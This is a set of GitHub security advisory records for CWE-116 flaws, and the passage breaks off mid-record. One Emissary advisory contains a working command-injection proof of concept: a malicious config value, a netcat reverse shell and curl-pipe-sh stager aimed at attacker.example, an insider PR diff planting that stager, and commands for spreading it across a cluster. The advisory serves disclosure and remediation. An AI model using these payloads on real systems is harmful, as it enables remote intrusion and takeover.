CWE-116

{
  "affected": [],
  "aliases": [
    "CVE-2024-10441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-19T02:15:27Z",
    "severity": "CRITICAL"
  },
  "details": "Improper encoding or escaping of output vulnerability in the system plugin daemon in Synology BeeStation Manager (BSM) before 1.1-65374, Synology DiskStation Manager (DSM) before 6.2.4-25556-8, 7.1.1-42962-7, 7.2-64570-4, 7.2.1-69057-6 and 7.2.2-72806-1 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote attackers to execute arbitrary code via unspecified vectors.",
  "id": "GHSA-3hx6-3qqx-qhvf",
  "modified": "2025-03-19T03:30:35Z",
  "published": "2025-03-19T03:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10441"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_20"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-39386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-120",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-13T13:15:10Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability of input parameters being not strictly verified in the PMS module. Successful exploitation of this vulnerability may cause newly installed apps to fail to restart.",
  "id": "GHSA-3j8q-2cfg-hm94",
  "modified": "2024-04-04T06:53:57Z",
  "published": "2023-08-13T15:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39386"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/8"
    },
    {
      "type": "WEB",
      "url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202308-0000001667644725"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-37875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-12T09:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Improper encoding or escaping of output in Wing FTP Server (User Web Client) allows Cross-Site Scripting (XSS).This issue affects Wing FTP Server: \u003c= 7.2.0.\n\n",
  "id": "GHSA-3jq5-7792-2mq3",
  "modified": "2024-04-04T07:40:22Z",
  "published": "2023-09-14T18:32:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37875"
    },
    {
      "type": "WEB",
      "url": "https://www.wftpserver.com/serverhistory.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-39958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-20T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "The OWASP ModSecurity Core Rule Set (CRS) is affected by a response body bypass to sequentially exfiltrate small and undetectable sections of data by repeatedly submitting an HTTP Range header field with a small byte range. A restricted resource, access to which would ordinarily be detected, may be exfiltrated from the backend, despite being protected by a web application firewall that uses CRS. Short subsections of a restricted resource may bypass pattern matching techniques and allow undetected access. The legacy CRS versions 3.0.x and 3.1.x are affected, as well as the currently supported versions 3.2.1 and 3.3.2. Integrators and users are advised to upgrade to 3.2.2 and 3.3.3 respectively and to configure a CRS paranoia level of 3 or higher.",
  "id": "GHSA-3m69-hv34-fc7r",
  "modified": "2025-11-03T21:30:43Z",
  "published": "2022-09-21T00:00:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39958"
    },
    {
      "type": "WEB",
      "url": "https://coreruleset.org/20220919/crs-version-3-3-3-and-3-2-2-covering-several-cves"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00033.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HL2L2GF7GOCWPMJZDUE5OXDSXHGG3XUJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PD56EAYNGB6E6QQH62LAYCONOP6OH5DZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YPQ6CCMX3MU4A7MTCGQJA7VMJW3IQDXV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HL2L2GF7GOCWPMJZDUE5OXDSXHGG3XUJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PD56EAYNGB6E6QQH62LAYCONOP6OH5DZ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YPQ6CCMX3MU4A7MTCGQJA7VMJW3IQDXV"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-22992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-77"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-28T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A command injection remote code execution vulnerability was discovered on Western Digital My Cloud Devices that could allow an attacker to execute arbitrary system commands on the device. The vulnerability was addressed by escaping individual arguments to shell functions coming from user input.",
  "id": "GHSA-3mm5-rh7g-ph5j",
  "modified": "2023-07-11T21:30:56Z",
  "published": "2022-01-29T00:00:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22992"
    },
    {
      "type": "WEB",
      "url": "https://www.westerndigital.com/support/product-security/wdc-22002-my-cloud-os5-firmware-5-19-117"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-40870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-23T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Web Client of Parallels Remote Application Server v18.0 is vulnerable to Host Header Injection attacks. This vulnerability allows attackers to execute arbitrary commands via a crafted payload injected into the Host header.",
  "id": "GHSA-3mv9-6gw5-j7q6",
  "modified": "2022-11-26T06:31:18Z",
  "published": "2022-11-23T00:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40870"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IthacaLabs/Parallels/blob/main/ParallelsRemoteApplicationServer/HHI_CVE-2022-40870.txt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IthacaLabs/Parallels/tree/main/ParallelsRemoteApplicationServer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.42.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "gov.nsa.emissary:emissary"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.43.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-13T16:38:25Z",
    "nvd_published_at": "2026-04-18T02:16:11Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`Executrix.getCommand()` constructs shell commands by substituting temporary file paths directly into a `/bin/sh -c` string with no escaping. The `IN_FILE_ENDING` and `OUT_FILE_ENDING` configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM\u0027s security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.\n\nThis is a **framework-level defect** \u2014 `Executrix` provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.\n\n---\n\n### Root Cause\n\n#### Step 1 \u2014 `IN_FILE_ENDING` flows into temp path construction without validation\n\n**[`TempFileNames.java:32-36`](src/main/java/emissary/util/shell/TempFileNames.java#L32-L36)**\n\n```java\npublic TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) {\n    base = Long.toString(System.nanoTime());\n    tempDir = FileManipulator.mkTempFile(tmpDir, placeName);\n    in  = base + inFileEnding;        // no sanitization\n    out = base + outFileEnding;       // no sanitization\n    basePath       = tempDir + File.separator + base;\n    inputFilename  = basePath + inFileEnding;   // injected value lands here\n    outputFilename = basePath + outFileEnding;  // and here\n}\n```\n\n`inFileEnding` is concatenated directly onto a numeric base to produce `inputFilename`. No character class, no regex, no escaping.\n\n#### Step 2 \u2014 The injected path is substituted verbatim into a shell string\n\n**[`Executrix.java:1053-1065`](src/main/java/emissary/util/shell/Executrix.java#L1053-L1065)**\n\n```java\npublic String[] getCommand(final String[] tmpNames, final String commandArg,\n                           final int cpuLimit, final int vmSzLimit) {\n    String c = commandArg;\n    c = c.replaceAll(\"\u003cINPUT_PATH\u003e\",  tmpNames[INPATH]);  // contains inFileEnding verbatim\n    c = c.replaceAll(\"\u003cOUTPUT_PATH\u003e\", tmpNames[OUTPATH]);\n    c = c.replaceAll(\"\u003cINPUT_NAME\u003e\",  tmpNames[IN]);\n    c = c.replaceAll(\"\u003cOUTPUT_NAME\u003e\", tmpNames[OUT]);\n\n    String ulimitv = \"\";\n    if (!SystemUtils.IS_OS_MAC) {\n        ulimitv = \"ulimit -v \" + vmSzLimit + \"; \";\n    }\n    return new String[] {\"/bin/sh\", \"-c\",\n        \"ulimit -c 0; \" + ulimitv + \"cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\nThe final array element is passed to `/bin/sh -c`. Shell metacharacters in any substituted value are interpreted by the shell.\n\nThe identical pattern exists in the `TempFileNames` overload at **[`Executrix.java:1103-1115`](src/main/java/emissary/util/shell/Executrix.java#L1103-L1115)**.\n\n#### Step 3 \u2014 `setInFileEnding()` and `setOutFileEnding()` perform no validation\n\n**[`Executrix.java:1176-1196`](src/main/java/emissary/util/shell/Executrix.java#L1176-L1196)**\n\n```java\npublic void setInFileEnding(final String argInFileEnding) {\n    this.inFileEnding = argInFileEnding;   // accepted as-is\n}\n\npublic void setOutFileEnding(final String argOutFileEnding) {\n    this.outFileEnding = argOutFileEnding; // accepted as-is\n}\n```\n\nThe same absence of validation applies to the `IN_FILE_ENDING` and `OUT_FILE_ENDING` keys read from configuration at **[`Executrix.java:121-122`](src/main/java/emissary/util/shell/Executrix.java#L121-L122)**.\n\n#### Contrast: `placeName` is sanitized, file endings are not\n\nThe framework already sanitizes `placeName` using a strict allowlist:\n\n```java\n// Executrix.java:78\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\n// Executrix.java:148-150\nprotected static String cleanPlaceName(final String placeName) {\n    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\n`placeName` ends up in `tmpNames[DIR]`, which is also embedded in the shell string. The sanitization of `placeName` demonstrates awareness that these values reach the shell \u2014 the omission of equivalent sanitization for `inFileEnding` and `outFileEnding` is the defect.\n\n---\n\n### Proof of Concept\n\nTwo reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.\n\n---\n\n#### PoC 1 \u2014 Docker: end-to-end attack against a live node\n\n**Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.**\n\n**Environment setup**\n\nPut the `Dockerfile.poc` to `contrib/docker/` folder\n```\nFROM emissary:poc-base\n\nCOPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/\n\nRUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \\\n    \u0026\u0026 ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \\\n    \u0026\u0026 mkdir -p /opt/emissary/localoutput \\\n    \u0026\u0026 mkdir -p /opt/emissary/target/data \\\n    \u0026\u0026 chmod -R a+rw /opt/emissary \\\n    \u0026\u0026 chown -R emissary:emissary /opt/emissary* \\\n    \u0026\u0026 rm -f /tmp/*.tar.gz\n\nUSER emissary\nWORKDIR /opt/emissary\nEXPOSE 8001\nENTRYPOINT [\"./emissary\"]\nCMD [\"server\", \"-a\", \"2\", \"-p\", \"8001\"]\n```\n\n```bash\n# Build the distribution tarball\nmvn -B -ntp clean package -Pdist -DskipTests\n\n# Build and start the Docker container\ndocker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/\ndocker run -d --name emissary-poc -p 8001:8001 emissary:poc\n\n# Wait for the server to start (~15s), then verify health\ndocker exec emissary-poc sh -c \\\n  \u0027curl -s http://127.0.0.1:8001/api/health | grep -o \"healthy\"\u0027\n# healthy\n```\n\n**Step 1 \u2014 Confirm the marker file does not exist**\n\n```bash\ndocker exec emissary-poc sh -c \u0027ls /tmp/pwned.txt 2\u003e\u00261\u0027\n# ls: cannot access \u0027/tmp/pwned.txt\u0027: No such file or directory\n```\n\n**Step 2 \u2014 Write the malicious place config**\n\nWrite `emissary.place.UnixCommandPlace.cfg` into the server\u0027s config directory. The `EXEC_COMMAND` is a benign `cat`. The injection is entirely in `IN_FILE_ENDING` using backtick command substitution (POSIX-compatible, works on all target OS images):\n\n```bash\ndocker exec emissary-poc sh -c \"printf \\\n\u0027SERVICE_KEY = \\\"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\\$4000\\\"\\n\\\nSERVICE_NAME = \\\"UCP\\\"\\n\\\nSERVICE_TYPE = \\\"TRANSFORM\\\"\\n\\\nPLACE_NAME = \\\"UnixCommandPlace\\\"\\n\\\nSERVICE_COST = 4000\\n\\\nSERVICE_QUALITY = 90\\n\\\nSERVICE_PROXY = \\\"LOWER_CASE\\\"\\n\\\nEXEC_COMMAND = \\\"cat \u003cINPUT_PATH\u003e\\\"\\n\\\nOUTPUT_TYPE = \\\"STD\\\"\\n\\\nIN_FILE_ENDING = \\\"\\\\\\`id \u003e /tmp/pwned.txt\\\\\\`\\\"\\n\\\nOUT_FILE_ENDING = \\\".out\\\"\\n\u0027 \\\n\u003e /opt/emissary/config/emissary.place.UnixCommandPlace.cfg\"\n```\n\n**Step 3 \u2014 Add UnixCommandPlace to places.cfg**\n\n```bash\ndocker exec emissary-poc sh -c \\\n  \u0027printf \"\\nPLACE = \\\"@{URL}/UnixCommandPlace\\\"\\n\" \\\n   \u003e\u003e /opt/emissary/config/places.cfg\u0027\n```\n\n**Step 4 \u2014 Restart the server to load the config**\n\n```bash\ndocker restart emissary-poc\n# wait for health: 200\ndocker exec emissary-poc sh -c \\\n  \u0027until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo \"ready\"\u0027\n```\n\nStartup log confirms the place loaded:\n\n```\nINFO  emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!\n```\n\n**Step 5 \u2014 Drop any file into the pickup directory to trigger processing**\n\n```bash\ndocker exec emissary-poc sh -c \\\n  \u0027echo \"any data\" \u003e /opt/emissary/target/data/InputData/victim.txt\u0027\n```\n\nThe Emissary pipeline picks up the file, routes it through `UnixFilePlace` \u2192 `ToLowerPlace` \u2192 **`UnixCommandPlace`** (cost 4000, lower than `ToUpperPlace` at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside `getCommand()` before `cat` is even called.\n\n**Step 6 \u2014 Confirm injection executed**\n\n```bash\nsleep 10   # allow pipeline processing time\ndocker exec emissary-poc sh -c \u0027cat /tmp/pwned.txt\u0027\n```\n\n**Live output (verified):**\n\n```\nuid=1000(emissary) gid=1000(emissary) groups=1000(emissary)\n```\n\n**Assembled shell string at execution time** (logged by Emissary at DEBUG level):\n\n```\n/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id \u003e /tmp/pwned.txt`\n```\n\nThe backtick expression fires as the shell expands the `cat` argument. The `cat` itself returns non-zero (no file at that path) but that is irrelevant \u2014 the injected command has already run.\n\n**Transform history from Emissary logs \u2014 confirms UnixCommandPlace ran:**\n\n```\ntransform history:\n  UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050\n  UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050\n  UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010\n  LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000   \u003c-- injection fired here\n  ...\n```\n\n**Escalating the payload \u2014 reverse shell**\n\nReplace the `IN_FILE_ENDING` value. The content is passed verbatim to `/bin/sh -c`, so any POSIX shell construct works:\n\n```properties\n# Reverse shell \u2014 POSIX sh compatible (works on Alpine/busybox as well as bash)\nIN_FILE_ENDING = \"`rm -f /tmp/f; mkfifo /tmp/f; sh -i \u003c/tmp/f | nc attacker.example 4444 \u003e/tmp/f`\"\n\n# Curl-based stager (avoids embedding IP in config, works on any image with curl)\nIN_FILE_ENDING = \"`curl -s http://attacker.example/s.sh | sh`\"\n```\n\nBoth fire on the first payload processed \u2014 no further attacker interaction required.\n\n---\n\n#### PoC 2 \u2014 Unit test: isolated, no server required\n\nExercises the identical code path using only the public `Executrix` API. Suitable for inclusion in a CI security regression suite.\n\n```java\npackage emissary.util.shell;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.condition.DisabledOnOs;\nimport org.junit.jupiter.api.condition.OS;\nimport org.junit.jupiter.api.io.TempDir;\n\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,\n * enabling command injection via getCommand().\n *\n * Mirrors exactly what UnixCommandPlace.runCommandOn() does:\n *   TempFileNames names = executrix.createTempFilenames();\n *   String[] cmd = executrix.getCommand(names);\n *   executrix.execute(cmd, ...);\n */\n@DisabledOnOs(OS.WINDOWS)\nclass ExecutrixShellInjectionPocTest {\n\n    @Test\n    void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {\n        Path marker = tmpDir.resolve(\"injected\");\n\n        // Backtick substitution: avoids the Java regex $-group issue in replaceAll()\n        // while still demonstrating the shell executes the injected expression.\n        String payload = \"`touch \" + marker.toAbsolutePath() + \"`\";\n\n        Executrix executrix = new Executrix();\n        executrix.setTmpDir(tmpDir.toString());\n        executrix.setCommand(\"cat \u003cINPUT_PATH\u003e\");  // mirrors UnixCommandPlace default\n        executrix.setInFileEnding(payload);  // no validation \u2014 accepted as-is\n\n        // --- path taken by UnixCommandPlace.runCommandOn() ---\n        TempFileNames names = executrix.createTempFilenames();\n        String[] cmd = executrix.getCommand(names);\n        // cmd[2] == \"/bin/sh -c ulimit -c 0; ... cd \u003ctmpdir\u003e; cat \u003cbasepath\u003e`touch \u003cmarker\u003e`\"\n\n        // Execute \u2014 same call as executrix.execute(cmd, outbuf, errbuf)\n        Process proc = Runtime.getRuntime().exec(cmd);\n        proc.waitFor();\n\n        assertTrue(Files.exists(marker),\n            \"Shell injection succeeded \u2014 backtick in IN_FILE_ENDING executed.\\n\" +\n            \"Shell string: \" + cmd[2]);\n    }\n}\n```\n\n**Assembled shell string:**\n\n```\n/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`\n```\n\nThe marker file is created by the backtick expression firing during shell argument expansion.\n\n**Note on `$()` vs backticks:** `String.replaceAll()` treats `$` in the replacement as a regex group reference, so a `$(...)` payload causes a `java.lang.IllegalArgumentException` before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the `$` appropriately.\n\n**The same injection works via `OUT_FILE_ENDING` \u2192 `\u003cOUTPUT_PATH\u003e` / `\u003cOUTPUT_NAME\u003e`, and via the `String[]` overload of `getCommand()` used by `MultiFileUnixCommandPlace`.**\n\n---\n\n### Attack Scenarios\n\nEach scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.\n\n---\n\n#### Scenario A \u2014 Insider / developer with config write access\n\n**Attacker\u0027s starting position:** Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.\n\n**Why this is realistic:** Emissary deployments typically load `.cfg` files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change \u2014 even a code reviewer who can approve their own PR \u2014 can inject the payload.\n\n**Step 1 \u2014 Add the malicious config as a seemingly routine change**\n\nIn a PR or direct push to the config repo:\n\n```diff\n+++ b/config/emissary.place.UnixCommandPlace.cfg\n@@ -0,0 +1,10 @@\n+SERVICE_KEY     = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000\"\n+SERVICE_NAME    = \"UCP\"\n+SERVICE_TYPE    = \"TRANSFORM\"\n+PLACE_NAME      = \"UnixCommandPlace\"\n+SERVICE_COST    = 4000\n+SERVICE_QUALITY = 90\n+SERVICE_PROXY   = \"LOWER_CASE\"\n+EXEC_COMMAND    = \"cat \u003cINPUT_PATH\u003e\"\n+OUTPUT_TYPE     = \"STD\"\n+IN_FILE_ENDING  = \"`curl -s http://attacker.example/implant.sh | sh`\"\n+OUT_FILE_ENDING = \".out\"\n```\n\nThe injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.\n\n**Step 2 \u2014 Wait for the next deploy**\n\nThe next routine deploy or restart loads the config. The payload fires on the first payload processed \u2014 silently, with no error visible in normal log levels (the place logs a `WARN` for non-zero exit but does not surface the injected command\u0027s output).\n\n**Deniability:** The `.cfg` file looks like a misconfigured place. The log entry is `Bad execution of commands` \u2014 a common operational error, not an obvious security event.\n\n---\n\n#### Scenario B \u2014 Cluster-wide propagation via the peers API\n\n**Attacker\u0027s starting position:** RCE on one node (from Scenario A).\n\n**Why this is dangerous:** Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster\u0027s own replication to propagate the malicious config to every peer.\n\n**Step 1 \u2014 Enumerate all cluster nodes**\n\n```bash\ncurl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n  http://compromised-node:8001/api/cluster/peers \\\n  | grep -o \u0027\"http://[^\"]*\"\u0027\n```\n\nResponse:\n```json\n{\"local\":{\"host\":\"node1:8001\",\"places\":[...]},\"peers\":[{\"host\":\"node2:8001\",...},{\"host\":\"node3:8001\",...}]}\n```\n\n**Step 2 \u2014 Push the malicious config to each peer via the Emissary API**\n\nFrom the compromised node, use the Emissary cluster API directly \u2014 no SSH required. All nodes authenticate each other using the same shared credentials, and the `CONFIG_DIR` path is disclosed by the `/api/peers` response metadata:\n\n```bash\n# From the shell gained in Scenario A\nPAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)\n\nfor peer in node2:8001 node3:8001 node4:8001; do\n  # Write the config file to the peer via its exposed file API\n  # (alternatively: exploit the peer\u0027s own pickup directory via the ingest API)\n  curl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n    -X POST \\\n    -H \"Content-Type: text/plain\" \\\n    --data-binary \"$PAYLOAD\" \\\n    \"http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg\"\ndone\n```\n\nIf no config write API is available, the same result is achieved by dropping the payload into the peer\u0027s monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) \u2014 all of which are common Emissary deployment patterns.\n\n**Step 3 \u2014 Trigger restart on each peer via the cluster shutdown API**\n\n```bash\nfor peer in node2:8001 node3:8001 node4:8001; do\n  curl -s --digest -u \u003cuser\u003e:\u003cpassword\u003e \\\n    -X POST -H \"X-Requested-By: x\" \\\n    http://${peer}/api/shutdown\ndone\n```\n\n**Outcome:** Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.\n\n### Impact\n\n| Dimension | Assessment |\n|-----------|------------|\n| **Confidentiality** | **Critical** \u2014 arbitrary read of files accessible to the Emissary process |\n| **Integrity** | **Critical** \u2014 arbitrary file write, process state modification, persistence |\n| **Availability** | **Critical** \u2014 process termination, resource exhaustion |\n| **Blast radius** | Any place that uses `Executrix` and calls `getCommand()`; this includes all subclasses of `ExecPlace` and any custom place that follows the documented pattern |\n\n---\n\n## Recommended Remediation\n\n### Primary fix \u2014 validate `inFileEnding` and `outFileEnding` on assignment\n\nApply the same allowlist pattern already used for `placeName`:\n\n```java\n// Add to Executrix.java\nprivate static final Pattern VALID_FILE_ENDING = Pattern.compile(\"^[a-zA-Z0-9._-]*$\");\n\npublic void setInFileEnding(final String argInFileEnding) {\n    if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {\n        throw new IllegalArgumentException(\n            \"IN_FILE_ENDING contains illegal characters: \" + argInFileEnding);\n    }\n    this.inFileEnding = argInFileEnding;\n}\n\npublic void setOutFileEnding(final String argOutFileEnding) {\n    if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {\n        throw new IllegalArgumentException(\n            \"OUT_FILE_ENDING contains illegal characters: \" + argOutFileEnding);\n    }\n    this.outFileEnding = argOutFileEnding;\n}\n```\n\nApply the same validation inside `configure()` where the values are read from the `Configurator`.\n\n### Secondary fix (defence-in-depth) \u2014 shell-quote substituted values in `getCommand()`\n\nEven if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:\n\n```java\n// In getCommand(), wrap each substituted value in single quotes\n// and escape any embedded single quotes.\n// Java string \"\u0027\\\\\u0027\u0027\u0027\" is the four characters: \u0027 \\ \u0027 \u0027\n// which at runtime produces the shell sequence: \u0027\\\u0027\u0027\n// (close quote, literal single quote, reopen quote)\nprivate static String shellQuote(String value) {\n    return \"\u0027\" + value.replace(\"\u0027\", \"\u0027\\\\\u0027\u0027\") + \"\u0027\";\n}\n\n// Then:\nc = c.replace(\"\u003cINPUT_PATH\u003e\",  shellQuote(tmpNames[INPATH]));\nc = c.replace(\"\u003cOUTPUT_PATH\u003e\", shellQuote(tmpNames[OUTPATH]));\nc = c.replace(\"\u003cINPUT_NAME\u003e\",  shellQuote(tmpNames[IN]));\nc = c.replace(\"\u003cOUTPUT_NAME\u003e\", shellQuote(tmpNames[OUT]));\n```\n\n### Why this is a framework-level fix\n\nThe framework\u0027s `cleanPlaceName()` method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to `inFileEnding` and `outFileEnding` is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.",
  "id": "GHSA-3p24-9x7v-7789",
  "modified": "2026-04-24T20:52:01Z",
  "published": "2026-04-13T16:38:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3p24-9x7v-7789"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35582"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/commit/1faf33f2494c0128f250d7d2e8f2da99bbd32ae8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NationalSecurityAgency/emissary"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-48007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-19T14:15:45Z",
    "severity": "MODERATE"
  },
